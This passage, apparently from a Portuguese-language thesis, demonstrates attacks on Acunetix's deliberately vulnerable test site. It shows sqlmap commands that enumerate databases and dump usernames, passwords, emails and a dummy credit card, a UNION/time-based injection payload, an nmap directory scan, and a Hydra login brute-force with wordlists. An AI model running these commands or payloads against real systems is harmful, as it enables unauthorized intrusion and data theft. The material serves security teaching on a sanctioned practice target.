185.125.190.49 192.168.0.103 HTTP HTTP/1.1 204 No Content
2804:3d90:8005:e401.. 2620:2d:4002:1::196 HTTP GET / HTTP/1.1
2620:2d:4002:1::196 2804:3d90:8005:e401.. HTTP HTTP/1.1 204 No Content

1 »

» Frame 251: 639 bytes on wire (5112 bits), 639 bytes captured (5112 bits) on interface 2c 20 64 ~
» Ethernet II, Src: PCSSystemtec_01:76:c6 (08:00:27:01:76:c6), Dst: TPLink_02:ec:b7 (60: 6e 74 2d
» Internet Protocol Version 4, Src: 192.168.0.103, Dst: 44.228.249.3 1 74 69 6f
» Transmission Control Protocol, Src Port: 40272, Dst Port: 80, Seq: 420, Ack: 2749, Len 75 72 6c
» Hypertext Transfer Protocol 65 6e 74
~ HTML Form URL Encoded: application/x-www-form-urlencoded af 72 69
~ Form item: "uname" = "administrator" 1 65 73 74
Key: uname g; gg gg
Value: administrator 72 65 72

Form item: "pass" = "senhal23$"

WY Key: pass Zg g? gg
Value: senhal23$% 64 65 2d

65 73 74
0260 3d 61 64

0270 61 73 73

Fonte: Wireshark (2024)

3.2 Simulacao SQL injection

Nesta simulacado, sera realizado um processo de SQL injection usando duas
ferramentas principais: SQLMap e o site Acunetix Art.

SQLMap: E uma ferramenta de teste de invaséo (de codigo aberto) que auto-
matiza a deteccao e exploracdo de falhas de injecdo SQL em sistemas de banco de
dados (Figura 13). Ela pode ajudar a enumerar alvos, realizar a identificacéo de ban-
cos de dados, ler e escrever em sistemas de arquivos remotos e quebrar senhas.
(IBSEC, 2023).
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Figura 13: Ferramenta SQLMap
-u "http://debiandev/sglmap/mysgl/get int.php?id=1" --batch

{1.3.4.44#dev}

1lma

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent 1
s illegal. It is the end user's responsibility to obey all applicable local, state and fed
eral laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting @ 18:44:53 /20819-04-30/

[1e: 1 testing connection to the target URL

1 heuristics detected web page charset 'ascii’

1 checking if the target is protected by some kind of WAF/IPS
] testing if the target URL content is stable

1 target URL content is stable

1 testing if GET parameter 'id' is dynamic

0 [ 1 GET parameter 'id' appears to be dynamic

0:4 1 [INFOI]

: heuristic (basic) test shows that GET parameter 'id' might be injectable
({possible DBMS: 'MySQL')

Fonte: sgimap.org (2024)

3.2.1 Indicagé&o de vulnerabilidade

A Figura 14 mostra uma pagina do site Acunetix Art, que contém “informacdes”

sobre um dos artistas ficticios do site, cuja URL é “http://testphp.vulnweb.com/ar-
tists.php?artist=1".

Figura 14: Site Acunetix Art

&« (& A\ Inseguro  testphp.vulnweb.com/artists.php?artist=1
‘ fi X2 +
@acunetix FeRaTIEIeT

Acunetix Web Vulnerability Scanner

casa | categorias | artistas | isencdo de responsabilidade | seu carrinho | livro de visitas | Demonstracio AJAX

esquisar arte artista: r4w8173
—

Navegar por

EETIEE Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestia. Sed aliquam

Procure artistas sem ut arcu. Sollicitudina de Phasellus. Vestibula condimentum facilisis nulla. In hac

Seu carfinho habitasse platea dictumst. Nulla no-nummy. Cras quis libero. Cras venenatis. Aliquam
posuere lobortis pede. Nullam fringilla urna id leo. Praesent aliguet pretium erat. Pragsent

NSCrever-se n3o ddio. Pellentesque a magna a mauris vulputate lacinia. Enéia viverra. Classe aptent

Seu perfil taciti sociosqu ad litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam

o T iR T lacus. Mauris magna eros, sempre a, tempor et, rutrum et, tortor.
0330 liv isitas

ey T
DEmar i s Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestia. Sed aliquam
sem ut arcu. Sellicitudina de Phasellus. Vestibulo condimentum facilisis nulla. In hac

Ligagdes habitasse platea dictumst. Nulla ndo-nummy. Cras quis libero. Cras venenatis. Aliquam
Arte de seguranca posuere lobortis pede. Nullam fringilla uma id leo. Praesent aliquet pretium erat. Prassent
Scanner de PHP néo odio. Pellentesque a magna a mauris vulputate lacinia. Enéia viverra. Classe aptent
Ajuda sobre taciti sociosqu ad litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam

vulnerabilidade PHP | lacus. Mauris magna eros, sempre a, tempor et, rutrum et, tortor.
Explorador Fractal

veja fotos do artista

comente sobre esse artista

Sobre nos | Politica de Privacidade | Contate-nos

Fonte: Acunetix Art (2024)
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Na Figura 15, com o objetivo de explorar vulnerabilidades, a URL € alterada
para “http://testphp.vulnweb.com/artists.php?artist=1%27", contendo o parametro “ar-
tist” definido como “1%27°. O ‘%27’ representa o encoding para o caractere (') aspas
simples, comumente utilizado em tentativas de SQL injection.

Essa modificagao resulta na exibicdo da seguinte mensagem de erro: "Aviso:
mysql_fetch_array() espera que o parametro 1 seja um recurso, booleano fornecido
em /hj/var/lwww/artists.php na linha 62". Esse erro indica que a fungcdo “mysql_fe-
tch_array()” esta recebendo um valor booleano em vez de um recurso valido, o que
sugere falha na execuc¢do da consulta SQL, provavelmente devido a injecdo de um
caractere (') ndo esperado.

A presenca desse erro visivel evidencia um potencial para SQL injection, indi-
cando que a aplicacdo nao esta tratando adequadamente as entradas fornecidas pe-
los usuérios. Essa vulnerabilidade pode ser explorada por um atacante para injetar
codigo SQL malicioso. O problema ocorre porque a aplicacdo passa diretamente o
valor do parametro a consulta SQL, sem sanitizacao ou uso de prepared statements.

Figura 15: Vulnerabilidade do site Acunetix Art

<« c A\ Insegure  testphp.vulnweb.com/artists.phpZartist=1%27

Macunetix T

Acunetix Web Vulnerability Scanner

casa | categorias | artistas | isencdo de responsabilidade | seu carrinho | livro de visitas | Demonstracao AJAX

esquisar arte Aviso: mysql_fetch_array() espera que o pardmetro 1 seja um recurso
booleano fornecido em /hj/variwww/artists php na linha 62

Navegar por
categorias

Procure artistas

Seu carrinho
Inscrever-se

Seu perfil

Nosso livro de visitas
Demonstracdo AJAX

Ligagbes

Arte de seguranca
Scanner de PHP
Ajuda sobre
vulnerabilidade PHP
Explarador Fractal

Fonte: Acunetix Art (2024)
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3.2.2 Exploracao de vulnerabilidades utilizando SQLMap

A Figura 16 apresenta a execucéo inicial do SQLMap, onde o comando é exe-
cutado com a URL alvo “http://testphp.vulnweb.com/artists.php?artist=1" e a opgéo --
dbs, que instrui 0 SQLMap a enumerar os bancos de dados disponiveis no servidor.
Durante o processo, o SQLMap realiza a conexao inicial com o banco de dados
MySQL indicado pela URL fornecida. A mensagem "[INFO] resuming back-end DBMS
'mysqgl™ confirma que o SQLMap identificou o MySQL como o sistema de gerencia-
mento de banco de dados (DBMS) do back-end.

Figura 16: Conex&o e testes iniciais usando SQLMap

root@henrique-VirtualBox: /home/henrique# sqlmap -u http://testphp.vulnweb.com/ar
tists.php?artist=1 --dbs

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting @ 18:34:05 /2024-04-26/

[ 3 [ ] resuming back-end DBMS 'mysql'
[18: 1L ] testing connection to the target URL

Fonte: Autoria prépria (2024)

A deteccao e exploracao da vulnerabilidade pode ser observada na Figura 17.
O SQLMap utiliza varios payloads de injecdo SQL para explorar a URL alvo e deter-
minar a existéncia de vulnerabilidades, culminando na identificacdo do banco de da-
dos:
e Tipo de Consulta: UNION query
e Informacgdes Coletadas: O SQLMap detecta o sistema de gerenciamento de
banco de dados (SGBD) como MySQL, e o sistema operacional do servidor
web como Linux Ubuntu, com PHP 5.6.40 e Nginx 1.19.0.
e Mensagem: “[INFO] fetching database names” indica que o SQLMap esta lis-

tando os nomes dos bancos de dados disponiveis.
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A exploracéo também resulta na listagem dos bancos de dados encontrados:
“acuart” e “information_schema”.

Figura 17: Banco de dados encontrados usando SQLMap
Payload: artist=1 AND (SELECT 6040 FROM (SELECT(SLEEP(5)))ZDce)

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: artist=-5039 UNION ALL SELECT CONCAT(0x716b6a6b71,0x664476484f57747
26261735765774a5a7356524a746e6b654252665a58527952676d6b6776447373,0x716a6a7171),
NULL,NULL-- -

[ 11 ] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12

[ ol ] fetching database names

available databases [2]:

[*¥] acuart

I

*1 information schema

[ JUiE ] fetched data logged to text files under '/root/.local/share/sq
lmap/output/testphp.vulnweb.com'
[ Al ] your sqlmap version is outdated

[*] ending @ 18:34:06 /2024-04-26/

Fonte: Autoria prépria (2024)

3.2.3 Extracao de dados

Na Figura 18, é mostrada a execucdo do comando “sglmap -u http://tes-
tphp.vulnweb.com/artists.php?artist=1 -D acuart —tables”, utilizado para acessar as ta-
belas do banco de dados acuart:

e A opcdo -u especifica a URL alvo, que neste caso € http://tes-
tphp.vulnweb.com/artists.php?artist=1.

e A opcéo -D seguida por acuart indica que queremos listar as tabelas do banco
de dados acuart.

e A opcado --tables instrui o SQLMap a listar todas as tabelas disponiveis no

banco de dados especificado.
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Figura 18: Acesso as tabelas do banco de dados

root@henrique-vVirtualBox: /home/henrique# sqlmap -u http://testphp.vulnweb.com/ar
tists.php?artist=1 -D acuart --tables

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent 1s 1llegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting @ 18:34:39 /2024-04-26/

[ 3 il & ] resuming back-end DBMS 'mysql'
[ 11 ] testing connection to the target URL

Fonte: Autoria prépria (2024)

Na Figura 19, € mostrada a execucédo do SQLMap durante o processo de busca
pelas tabelas do banco de dados acuart, ilustrando a interagéo da ferramenta com o
servidor e os resultados obtidos:

e A mensagem “[INFO] fetching tables for database: ‘acuart” indica que o SQL-
Map estéd buscando as tabelas do banco de dados acuart.

e O SQLMap lista as tabelas encontradas no banco de dados acuart, que séo:

artists, carts, categ, featured, guestbook, pictures, products e users.

Figura 19: Listagem de tabelas do banco de dados acuart

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12

[ 1L ] fetching tables for database: 'acuart'
Database: acuart

| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |

1L ] fetched data logged to text files under '/root/.local/share/sq
Ilmap/output/testphp.vulnweb.com'
[ 1L ] your sgqlmap version is outdated

[*] ending @ 18:34:40 [2024-04-26/

Fonte: Autoria prépria (2024)
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Na Figura 20, o comando “sqlmap -u http://testphp.vulnweb.com/artists.php?ar-
tist=1 -D acuart -T users —columns” esta sendo executado para acessar as colunas da
tabela users:

e A opcdo -u especifica a URL alvo, que é http://testphp.vulnweb.com/ar-
tists.php?artist=1.

e A opcao -D seguida por acuart indica que estamos interessados no banco de
dados acuart.

e A opcéo -T seguida por users especifica que queremos informacdes sobre a
tabela users.

e A opcédo --columns instrui 0 SQLMap a listar todas as colunas da tabela espe-

cificada.

Figura 20: Acesso as colunas da tabela users

root@henrique-VirtualBox: /home/henrique# sqlmap -u http://testphp.vulnweb.com/ar
tists.php?artist=1 -D acuart -T users --columns

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting @ 18:35:24 /2024-04-26/

] resuming back-end DBMS 'mysql'

[ 10
1L ] testing connection to the target URL

Fonte: Autoria prépria (2024)

Na Figura 21, é apresentada a listagem de colunas. A mensagem "[INFO] fet-
ching columns for table 'users’ in database 'acuart™ indica que o SQLMap esta bus-
cando as colunas da tabela users no banco de dados acuart. As colunas listadas for-
necem uma visdo detalhada da estrutura da tabela users, incluindo os tipos de dados

armazenados em cada coluna.
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Figura 21: Dados armazenados na tabela users

acuart

[ 1L ] fetching columns for table 'users' in database
Database: acuart

Table: users

8 columns
+--------- e +
| Column | Type |
L e il +
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(1ee) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(1ee) |
| phone | varchar(100) |
| uname | varchar(100) |
i el drres e +

Fonte: Autoria prépria (2024)

Na Figura 22, o comando “sqglmap -u http://testphp.vulnweb.com/artists.php?ar-
tist=1 -D acuart -T users -C uname,pass —dump” esta sendo executado para buscar
os valores de “uname” e “pass” na tabela users:

e A opcao -u especifica a URL alvo, que € “http://testphp.vulnweb.com/ar-
tists.php?artist=1".

e A opcdao -D seguida por acuart indica que estamos interessados no banco de
dados acuart.

e A opcao -T seguida por users especifica que queremos informacdes sobre a
tabela users.

e A opcédo -C seguida por uname, pass instrui o SQLMap a buscar especifica-
mente as colunas uname (nome de usuario) e pass (senha).

e A opcédo --dump instrui 0 SQLMap a despejar o contetdo dessas colunas.
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Figura 22: Acesso aos atributos na tabela users

root@henrique-VvirtualBox: /home/henrique# sqlmap -u http://testphp.vulnweb.com/ar
tists.php?artist=1 -D acuart -T users -C uname,pass --dump

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting @ 18:36:32 /2024-04-26/

[ 1 ] resuming back-end DBMS 'mysql'
[ il ] testing connection to the target URL

Fonte: Autoria prépria (2024)

Na Figura 23, é feita a busca e despejo de dados:

e A mensagem “[INFO] fetching entries of column(s) 'pass,uname’ for table 'users'
in database 'acuart” indica que o SQLMap esta buscando os dados das colunas
pass e uname da tabela users no banco de dados acuart.

e O SQLMap despeja o conteudo encontrado nas colunas especificadas.

¢ No exemplo fornecido, ha uma entrada com uname (home de usuario) como

“test” e pass (senha) como “test”.

Figura 23: Dados das colunas pass e uname na tabela users

[ 1L ] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40

back-end DBMS: MySQL >= 5.0.12

[ 11 ] fetching entries of column(s) 'pass,uname' for table 'users' i
n database 'acuart'

Database: acuart

Table: users

Fonte: Autoria prépria (2024)
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3.2.4 Fazendo login com usuario e senha obtidos

A Figura 24 exibe a interface de login, enquanto a Figura 25 confirma o acesso
bem-sucedido ao sistema, evidenciando a exploracao eficaz das credenciais compro-
metidas.

Figura 24: Login no site Acunetix Art

Mocunsix

Acunetix Web Vulnerability Scanner

casa | categorias | artistas | isencdo de responsabilidade | seu carrinho | livro de visitas | Demonstracio AJAX

EES?"E“ an-l‘-'EI Se vocé ja é cadastrado, insira seus dados de login abaixo:

Navegar por Nome de usudrio © [test |
categorias Senha : [sess |
Procure artistas
|
Seu carrinho
Inscrever-se Vocé também pode se inscrever aqui .
Seu perfil Inscrigao desativada. Por favor, use o teste de nome de usuario e o teste de senha .

Nosso livro de visitas
Demonstracdo AJAX

Fonte: Acunetix Art (2024)

Figura 25: Acesso as informag¢8es do usuario

M acunetix Kele thela!

Acunetix Web Vulnerability Scanner

home | categories artists | disclaimer @ your cart  guestbook | AJAX Demo Logout test
search art John Smith (test)
[ Ifee]
Browse categories On this page you can visualize or edit you user information.
Browse artists
Your cart

Name: [John Smith |
Signup i - :
Your profile Credit card number: |1234-567B-2300-9000 l
Our guestbook E-Mail: [emali@email.com |
AJAX Demo Phone number: [2323345 l
Ly Address: 21 street
Security art I
PHP scanner
PHP vuln help )
Fractal Explorer .

[update

Fonte: Acunetix Art (2024)
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3.2.5 Busca por dados sensiveis de usuério ficticio

Na Figura 26, o comando “sqlmap -u http://testphp.vulnweb.com/artists.php?ar-

tist=1 -D acuart -T users -C email —.dump” esta sendo executado:

A opcao -u especifica a URL alvo, que é “http://testphp.vulnweb.com/ar-
tists.php?artist=1".

A opcéo -D seguida por acuart indica que estamos interessados no banco de
dados acuart.

A opcéo -T seguida por users especifica que queremos informacdes sobre a
tabela users.

A opcgao -C seguida por email instrui 0 SQLMap a buscar especificamente a
coluna email.

A opcdao --dump instrui o SQLMap a despejar o contetdo dessa coluna.

Figura 26: Busca por dados de usuario

root@henrique-VvirtualBox: /home/henrique# sqlmap -u http://testphp.vulnweb.com/ar
tists.php?artist=1 -D acuart -T users -C email --dump

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting @ 18:37:29 /2024-04-26/

[

1L ] resuming back-end DBMS 'mysql'’
1L ] testing connection to the target URL

Fonte: Autoria prépria (2024)

A Figura 27 mostra o dado encontrado referente ao email do usuéario.
A mensagem “[INFO] fetching entries of column(s) ‘email' for table 'users' in

”

database 'acuart” indica que o SQLMap esta buscando os dados da coluna
email da tabela users no banco de dados acuart.
O SQLMap despeja o conteudo encontrado na coluna especificada.

No exemplo fornecido, ha uma entrada com o email email@email.com.
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Figura 27: Busca por email do usuario
Jo: ] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12

[

1 ] fetching entries of column(s) 'email' for table 'users' in dat

abase 'acuart'
Database: acuart

Table: users
[1 entry]

Fonte: Autoria prépria (2024)

Na Figura 28, o comando “sglmap -u http://testphp.vulnweb.com/ar-

tists.php?artist=1 -D acuart -T users -C cc —dump” est& sendo executado.

7

A opcao -u especifica a URL alvo, que é “http://testphp.vulnweb.com/ar-
tists.php?artist=1".
A opcéo -D seguida por acuart indica que estamos interessados no banco de

dados acuart.

A opcéo -T seguida por users especifica que queremos informacdes sobre a
tabela users.

A opcao -C seguida por cc instrui o SQLMap a buscar especificamente a coluna

cc (cartédo de crédito).

A opcéo --dump instrui o SQLMap a despejar o contetdo dessa coluna.
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Figura 28: Busca por dados de usuario

root@henrique-virtualBox: /home/henrique# sqlmap -u http://testphp.vulnweb.
tists.php?artist=1 -D acuart -T users -C cc --dump

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
consent is illegal. It is the end user's responsibility to obey all applic
local, state and federal laws. Developers assume no liability and are not r
sible for any misuse or damage caused by this program

[*] starting @ 18:37:50 /2024-04-26/
[ ]
[ ]

[ ] resuming back-end DBMS 'mysql'
[INFO] testing connection to thel target URL

Fonte: Autoria prépria (2024)

A Figura 29 mostra o dado encontrado referente ao cartdo de crédito do usuéa-

rio:

¢ A mensagem “[INFO] fetching entries of column(s) ‘cc’ for table 'users' in data-

base 'acuart” indica que o SQLMap esta buscando os dados da coluna cc da

tabela users no banco de dados acuart.
e O SQLMap despeja o contetido encontrado na coluna especificada.

e No exemplo fornecido, ha uma entrada com o numero de cartdo de crédito
1234-5678-2300-9000.

Figura 29: Busca por cc do usuério

[ T2E ] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.0, PHP 5.6.40

back-end DBMS: MySQL >= 5.0.12

[1 :50] [ ] fetching entries of column(s) 'cc' for table 'users' in d
se 'acuart'

Database: acuart

Table: users
[1 entry]

Fonte: Autoria prépria (2024)
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3.3 Simulacao de ataque de forca bruta

Nesta simulacao, sera realizado um processo de ataque de forca bruta usando
trés ferramentas principais: Nmap, Hydra e o site Acunetix Art. O Nmap é uma ferra-
menta de linha de comando do Linux, de codigo aberto, que € usada para efetuar a
varredura (scan) de enderecos IP e portas em uma rede e detectar aplicacdes insta-
ladas (Shivanandhan, 2023). O Hydra € uma poderosa ferramenta de forca bruta de-
senvolvida em Python que permite aos usuérios realizar ataques de login com base

em dicionarios de senhas e listas de usuarios (ACADI-TI, 2023).

3.3.1 Indicacao de vulnerabilidade

Na Figura 30, €& apresentado o comando “nmap --script http-enum tes-
tphp.vulnweb.com”, que utiliza o script http-enum para enumerar diretérios e arquivos
interessantes em um servidor web. A varredura identifica que o host tes-
tphp.vulnweb.com esté ativo, com a porta 80/TCP aberta e utilizando o servico HTTP.
Entre os resultados, foram encontrados diretérios e arquivos potenciais, como /admin/
(possivel diretério de administracao), “login.php” (pagina de login), e outros diretérios
como /images/, /secured/ e /vendor/. A pagina “login.php” apresenta um potencial for-

mulario de login, que pode estar vulneravel a ataques de forca bruta.

Figura 30: Varredura usando Nmap

root@henrique-virtualBox: /home/henrique# nmap --script http-enum testphp.vulnweb
.com

Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-11 01:34 -03

Nmap scan report for testphp.vulnweb.com (44.228.249.3)

Host is up (0.018s latency).

rDNS record for 44.228.249.3: ec2-44-228-249-3.us-west-2.compute.amazonaws.com
Not shown: 999 filtered ports

PORT STATE SERVICE

80/tcp open http

| http-enum:

| /admin/: Possible admin folder
Jilog 3: Possible admin folder
/clienthiccesspolicy.xml: Microsoft Silverlight crossdomain policy

|
l
| Jcrossdomain.xml: Adobe Flash crossdomain policy

| /CVS/: Potentially interesting folder w/ directory listing

| /images/: Potentially interesting folder w/ directory listing

| /pictures/: Potentially interesting folder w/ directory listing
| /secured/: Potentially interesting folder

|_  /vendor/: Potentially interesting folder w/ directory listing

Nmap done: 1 IP address (1 host up) scanned in 441.94 seconds

Fonte: Autoria prépria (2024)
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A Figura 31 mostra o acesso a pagina de login:

e A URL “testphp.vulnweb.com/login.php” é acessada diretamente no navegador.

e A péagina de login exibe campos para "Username" e "Password".

Figura 31: Acesso a pagina de login

“~ c A\ Inseguro  testphp.vulnweb.com/login.php

| Macunetix

Acunetix Web Vulnerability Scanner

casa | categorias | artistas | isencdo de responsabilidade | seu carrinho | livro de visitas | Demonstracdo AJAX Teste de logout

EES?U‘SW arte Se vocé ja € cadastrado, insira seus dados de login abaixo:

Navegar por XS —
categorias Senha - —

Procure artistas

i
Seu carrinho
Inscrever-se Vocé também pode se inscrever aqui .
Seu perfil Inscricao desativada. Por favor, use o teste de nome de usuério e o teste de senha .

Nosso livro de visitas

Fonte: Acunetix Art (2024)

Na Figura 32, ao inspecionar o cédigo da pagina, € possivel notar que o campo
de login trata-se de um formulario chamado “loginform”, que utiliza o método “post” e
tem como acao “userinfo.php”. Foi identificado o nome do campo “Username” como

“‘uname”, e do campo “Password” como “pass”.

Figura 32: Campos Username e Password

Ees?msar arte Se vocé ja é cadastrado, insira seus dados de login abaixo:

Navegar por Nome dowuario: ]
e Serha: —

Procure artistas

.
Seu carrinho
Inscrever-se Viocé também pode se inscrever aqui .
) Inscrigao desativada. Por favor, use o teste de nome de usuario e o teste de senha .
Seu peril
Nosso livio de visitas
Demonstracdo AJAX
Sair
| Elementos Censola Qrigens Rede Desempenho Meméria Aplicagio Lighthouse  Gravador Estatisticas de desempenho J

Pigina  Espago de trabalha ¥} 18] ogin.php X
—— ST UL I0= Lunilene 2
v top

E:

49 <div class="story"»
v testphpavulnweb.com 50 <h3>If you are already registered please enter your login informaticn below:</h33<br>
(] images 51 <form name="loginform" method="pest" action="userinfo.php">

D login.php 52 <table cellpadding="4" cellspacing="1"»

D style.cas 53 <tr><td>Username : <,":|:I><td><1:.r‘:u-. name="uname"” type="text" sizef"zﬁ" style: "widtl:l:128p><;"></td></t">
'Qfont; ati 54 {tr><td>Password @ </td><td><input name="pass™ type="password" size="20" s e="v11dth:12@:x;"><.f:d>(.f:r‘>|

getaticoom 55 <trr><td colspan="2" align="right"><input type="submit" walue="login" style="width:75px;"></td></tr>

+ DS wwgstatic.com o5 </tables

Fonte: Acunetix Art (2024)
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3.3.2 Criag&o de wordlists

Para realizar um ataque de forca bruta utilizando a ferramenta Hydra, foi ne-
cessario criar wordlists contendo possiveis nomes de usuarios e senhas. A seguir,
cada imagem ilustra uma etapa desse processo de criacdo de wordlists. Usando o
editor de texto vi, duas wordlists sdo criadas, uma para possiveis usuarios e outra para
possiveis senhas.

Na Figura 33, é exibido o comando utilizado para abrir e editar a wordlist

“wordlist_user” no terminal, usando o editor de texto vi.

Figura 33: Wordlist_user

root@henrique-virtualBox: /home/henrique# vi wordlist user

Fonte: Autoria prépria (2024)

Em seguida, a Figura 34 mostra o conteudo da wordlist “wordlist_user”, inclu-

”» 13 ”» 113 t “*

indo exemplos de possiveis nomes de usuarios como “admin”, “teste”, “user”, “admi-

nistrador’ e “test”.

Figura 34: Possiveis nomes de usuario

Fonte: Autoria prépria (2024)

Posteriormente, na Figura 35, é demonstrado o comando para editar a wordlist

‘wordlist_pass”, que contém as possiveis senhas a serem testadas.

Figura 35: Wordlist_pass

[+1 root@henrique-VirtualBox: /home/henrique Q

root@henrique-vVirtualBox: /home/henrique# vi wordlist_passl

Fonte: Autoria prépria (2024)
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O conteudo dessa wordlist € apresentado na Figura 36, incluindo senhas como
“teste”, “admin”, “123456” e “test”.

Figura 36: Possiveis senhas

teste
administrador
admin

123456
test

Fonte: Autoria propria (2024)

3.3.3 Uso do Hydra para forca bruta

Na Figura 37, € mostrado a execugao do comando “hydra testphp.vulnweb.com
http-form-post ~ "/userinfo.php:uname="USER"&pass="PASS”:.login  page" -L
wordlist_user -P wordlist_pass —V”.

e http-form-post define o tipo de formulério de login.

e /userinfo.php:uname="USER”"&pass="PASS”:login page especifica a acdo do
formulario, os campos de login e senha, e o indicador de falha de login.

e -L wordlist_user especifica a wordlist de nomes de usuério.

e -P wordlist_pass especifica a wordlist de senhas.

¢ -V habilita o modo verbose para exibir mais detalhes durante a execucéao.

Figura 37: Execucdo do comando hydra

root@henrique-VirtualBox: /home/henrique# hydra testphp.vulnweb.com http-form-pos
t "/userinfo.php:uname="USER"&pass="PASS~A:login page" -L wordlist_user -P wordli

st_pass -V

Fonte: Autoria prépria (2024)

Na Figura 38, € apresentado o inicio da execuc¢éo do Hydra, conforme indicado
pelo timestamp e pela versédo da ferramenta. Durante o processo, o Hydra configura
as tarefas necessarias para testar combinacdes de login. A mensagem "[DATA] at-

tacking http-post-form™” confirma que o ataque ao formulario de login foi iniciado.
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Figura 38: Inicio da execucéo

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-11 01:48:
38

[DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6/p:6), ~3
tries per task

[DATA] attacking http-post-form://testphp.vulnweb.com:80/userinfo.php:uname=~USE

RA&pass=~PASS~:login page

Fonte: Autoria prépria (2024)

Na Figura 39, é apresentado o processo de tentativas de login realizadas pelo
Hydra, que testa varias combinacfes de nomes de usuario e senhas especificadas
nas wordlists. Cada tentativa é registrada, exibindo a combinacéo de login e senha

utilizada.
Figura 39: Tentativas de login

ild 4] (0/0)

[ATTEMPT] target testphp.vulnweb. - ! - pass "" - 6 of 36 [child
5] (0/0)

[ATTEMPT] target testphp.vulnweb. - ! - pass "teste" - 7 of 36 [c

hild 6] (0/0)

[ATTEMPT] target testphp.vulnweb. - ’ " - pass "administrador" - 8

of 36 [child 7] (@0/0)

[ATTEMPT] target testphp.vulnweb. - ! " - pass "admin" - 9 of 36 [c

hild 8] (0/0)

[ATTEMPT] target testphp.vulnweb. - ’ " - pass "123456" - 10 of 36
[child 9] (0/0)

[ATTEMPT] target testphp.vulnweb. - : " - pass "test" - 11 of 36 [c

hild 10] (0/0)

[ATTEMPT] target testphp.vulnweb. - ' " - pass "" - 12 of 36 [child
11] (e/0)

[ATTEMPT] target testphp.vulnweb. - i - pass "teste" - 13 of 36 [c

hild 12] (0/0)

[ATTEMPT] target testphp.vulnweb. - " - pass "administrador" - 14

of 36 [child 13] (0/0)

[ATTEMPT] target testphp.vulnweb. - & - pass "admin" - 15 of 36 [c

hild 14] (0/0)

[ATTEMPT] target testphp.vulnweb. - i - pass "123456" - 16 of 36 [

child 15] (0/0)

Fonte: Autoria prépria (2024)

Na Figura 40, € demonstrado o processo de identificacdo de credenciais validas
pelo Hydra, que continua testando combinac¢des até encontrar uma correspondéncia.

7

A combinacgédo de username "test" e password "test” € identificada como valida.



[ATTEMPT] target testphp.

of 36 [child 11] (0/0)

[ATTEMPT] target testphp.

6 [child 14] (0/0)

[ATTEMPT] target testphp.

hild 4] (e/0)

[ATTEMPT] target testphp.

of 36 [child 7] (0/0)

[ATTEMPT] target testphp.

hild 9] (©/0)

[ATTEMPT] target testphp.

child 10] (0/0)

[ATTEMPT] target testphp.

ild 12] (0/0)

[ATTEMPT] target testphp.

15] (0/0)

[ATTEMPT] target testphp.

0] (0/0)

[ATTEMPT] target testphp.

6 [child 13] (0/0)

Figura 40: Tentativas de login

vulnweb.

vulnweb.

vulnweb.

vulnweb.

vulnweb.

vulnweb.

vulnweb.

vulnweb.

vulnweb.

vulnweb.

[so][ ] host:

[ATTEMPT] target testphp.vulnweb.

12] (0/0)

com - login

com - login

com -

com

com -

com -

com -

com -

com -

com

com - login ""

login
login
login
login
login

login

login ""

- login ""

"test

"test"

"test"

"test"

"test"

"test"

1

"administrador”

"administrador"

"

- pass
- pass
- pass
- pass

- pass

ogin:

Fonte: Autoria prépria (2024)

- pass "

- pass "test" - 23

- pass "" - 24 of 3

"teste” - 25 of 36 [c
"administrador" - 26
"admin" - 27 of 36 [c
"123456" - 28 of 36 [

"test" - 29 of 36 [ch

- 30 of 36 [child

- pass "teste" - 31 of 36 [child

- pass "administrador" - 32 of 3

password:

- pass "admin" - 33 of 36 [child
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Na Figura 41, é apresentada a conclusdo da execucédo do Hydra, que finaliza o

processo apos identificar uma combinacao valida. A mensagem "1 of 1 target succes-

sfully completed, 1 valid password found" confirma que uma senha valida foi encon-

trada. O timestamp registrado indica o horario exato de concluséo do ataque.

Figura 41: Conclusdo da execucao

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-11 01:48:

43

